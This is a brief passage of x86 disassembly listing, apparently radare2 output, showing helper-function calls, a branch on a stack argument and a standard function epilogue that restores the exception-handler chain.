lea ecx, [ebp - 0x764]
call fcn.10004502
jmp 0x1001e3ba
cmp dword [ebp + 0x10], 0
jne 0x1001e39d
mov ecx, dword [ebp + 0xc]
call fcn.100042c3
mov dword [ebp - 0x400], eax
jmp 0x1001e3a7
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x400], eax
push dword [ebp - 0x400]
push dword [ebp + 8]
call fcn.10014f59
pop ecx
pop ecx
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x77c]
call fcn.10004433
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x720]
call fcn.10004502
mov eax, dword [ebp - 0x60]
jmp 0x1001e3df
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret